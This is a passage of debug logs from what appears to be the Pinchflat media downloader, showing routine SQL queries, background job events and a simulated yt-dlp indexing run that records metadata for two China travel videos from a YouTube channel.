s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:55:19.311 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:55:19.311 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:55:19.312 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:55:19.312 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:55:19.314 [debug] QUERY OK source="media_items" db=1.3ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:55:19.316 [debug] QUERY OK source="media_items" db=0.9ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:55:19.316 [info] Sent 200 in 9ms 17:55:47.434 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.091 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:56:17.436 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:47.438 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.092 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:57:17.440 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:25.046 [info] {"args":{"id":3},"id":17068,"meta":{},"system_time":1787187445046451716,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:57:25.047 [debug] QUERY OK source="sources" db=0.5ms idle=359.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:25.048 [debug] QUERY OK source="settings" db=0.3ms idle=360.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:25.048 [debug] QUERY OK source="media_items" db=0.6ms idle=360.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:57:25.049 [debug] QUERY OK source="media_items" db=0.4ms idle=9.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 17:57:25.049 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:25.050 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:25.050 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:25.051 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 17:57:25.052 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 17:57:25.052 [debug] Current batch of media processed. Will check again in 1000ms 17:57:25.053 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:25.053 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:25.053 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:25.053 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/37/cb/37cb49a024db86a0611b3e121fa38d4be2cbf61cb465686f00769464a1b83b21.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ee/b7/eeb72a969a3e4496f37368e72117d48f43babd81ef8a13d2424301b21d4477c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:57:26.053 [debug] Current batch of media processed. Will check again in 1000ms 17:57:27.054 [debug] Current batch of media processed. Will check again in 1000ms 17:57:28.055 [debug] Current batch of media processed. Will check again in 1000ms 17:57:29.056 [debug] Current batch of media processed. Will check again in 1000ms 17:57:30.057 [debug] Current batch of media processed. Will check again in 1000ms 17:57:31.058 [debug] Current batch of media processed. Will check again in 1000ms 17:57:32.059 [debug] Current batch of media processed. Will check again in 1000ms 17:57:33.060 [debug] Current batch of media processed. Will check again in 1000ms 17:57:34.061 [debug] Current batch of media processed. Will check again in 1000ms 17:57:35.062 [debug] Current batch of media processed. Will check again in 1000ms 17:57:36.063 [debug] Current batch of media processed. Will check again in 1000ms 17:57:37.064 [debug] Current batch of media processed. Will check again in 1000ms 17:57:38.065 [debug] Current batch of media processed. Will check again in 1000ms 17:57:39.066 [debug] Current batch of media processed. Will check again in 1000ms 17:57:40.067 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "duration" => 2174, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", "id" => "qYWhjW08-pc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qYWhjW08-pc", "playlist_index" => 1, "timestamp" => 1785508965, "title" => "China's Working Class Is Live-Streaming To Survive", "upload_date" => "20260731"} 17:57:40.068 [debug] QUERY OK source="sources" db=0.3ms idle=1380.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:40.068 [debug] QUERY OK source="sources" db=0.2ms idle=1381.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:40.069 [debug] QUERY OK source="media_items" db=0.1ms idle=1381.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 17:57:40.070 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "f7e460d2-bc3f-4e91-89bf-94c539e5f253", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 00:57:40Z], ~U[2026-08-20 00:57:40Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 17:57:40.071 [debug] QUERY OK source="sources" db=0.2ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:40.071 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:40.072 [debug] QUERY OK source="media_items" db=0.3ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [404257] 17:57:40.072 [debug] Current batch of media processed. Will check again in 1000ms 17:57:41.073 [debug] Current batch of media processed. Will check again in 1000ms 17:57:42.074 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "duration" => 2334, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", "id" => "k8tdg6v0FQo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=k8tdg6v0FQo", "playlist_index" => 2, "timestamp" => 1784303950, "title" => "China's Most Viral City Is Hiding a Dying Job", "upload_date" => "20260717"} 17:57:42.075 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=387.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:42.075 [debug] QUERY OK source="sources" db=0.1ms idle=387.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:42.076 [debug] QUERY OK source="media_items" db=0.2ms idle=388.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 17:57:42.077 [debug] QUERY OK source="media_items" db=0.8ms idle=388.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "fd8afc0d-5f42-4312-adbd-01f646f3407d", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 00:57:42Z], ~U[2026-08-20 00:57:42Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 17:57:42.077 [debug] QUERY OK source="sources" db=0.1ms idle=11.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 